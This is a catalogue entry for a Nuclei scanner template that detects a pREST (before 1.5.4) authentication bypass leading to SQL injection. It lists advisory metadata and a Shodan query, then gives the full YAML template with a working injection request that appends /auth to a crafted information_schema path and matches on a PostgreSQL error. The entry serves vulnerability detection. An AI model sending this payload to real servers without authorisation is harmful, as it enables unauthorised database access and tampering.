SecurityContext

prest-sqli-auth-bypass: pREST < 1.5.4 - SQL Injection Via Authentication Bypass

  • Template: prest-sqli-auth-bypass
  • Name: pREST < 1.5.4 - SQL Injection Via Authentication Bypass
  • Description: An authentication bypass vulnerability was introduced by changing the JWT whitelist configuration to use a regex pattern, allowing unauthorized access to any path containing /auth and leading to SQL Injection.
  • Severity: critical
  • Authors: mihail8531, iamnoooob, rootxharsh, pdresearch
  • Tags: sqli, prest, auth-bypass, sqli, vuln
  • References: https://github.com/advisories/GHSA-wm25-j4gw-6vr3
  • Verified: yes
  • Max requests: 1
  • Directory: http/vulnerabilities
  • Path: http/vulnerabilities/other/prest-sqli-auth-bypass.yaml
  • Digest: 4a0a0047304502202f2f600491f4419ec9cbee88330433452dd222db375ffa91052ad85f3e8b1448022100c12ca182c098a067a287fe7fd58786f610375395bc4e07503f083f0c61cc11b7
  • Created at: 2024-08-29T04:09:45Z
  • Updated at: 2025-10-26T16:17:37Z
  • Age in days: 818
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/prest-sqli-auth-bypass.yaml
  • Checked, none or zero: cves, products
  • Not known: impact, remediation

Classification

  • Checked, none or zero: cwe
  • Not known: cvss score, cvss vector, epss score, epss percentile, cpe

Metadata

  • Max-request: 1
  • Shodan-query: html:"authorization token is empty"
  • Verified: yes

Labels

  • Name: pREST - SQL Injection via Authentication Bypass
  • Impact: Unauthenticated attackers can bypass authentication and execute SQL injection, potentially leading to data exfiltration or modification.
  • Remediation: Upgrade to pREST 1.5.4 or later.
  • Vulnerability type: sql_injection
  • Vulnerability impact: data_tampering, information_disclosure
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: prest-sqli-auth-bypass

info:

name: pREST < 1.5.4 - SQL Injection Via Authentication Bypass

author: mihail8531,iamnoooob,rootxharsh,pdresearch

severity: critical

description: |

An authentication bypass vulnerability was introduced by changing the JWT whitelist configuration to use a regex pattern, allowing unauthorized access to any path containing /auth and leading to SQL Injection.

reference:

- https://github.com/advisories/GHSA-wm25-j4gw-6vr3

metadata:

verified: true

max-request: 1

shodan-query: html:"authorization token is empty"

tags: sqli,prest,auth-bypass,sqli,vuln

variables:

database: "{{database}}"

http:

- raw:

- |

GET /{{database}}/information_schema".tables)s%20where%201=version()::int--/auth HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body

words:

- 'pq: invalid input syntax for type integer: \"PostgreSQL '

- type: word

part: content_type

words:

- 'application/json'

digest: 4a0a0047304502202f2f600491f4419ec9cbee88330433452dd222db375ffa91052ad85f3e8b1448022100c12ca182c098a067a287fe7fd58786f610375395bc4e07503f083f0c61cc11b7:922c64590222798bb761d5b6d8e72950

```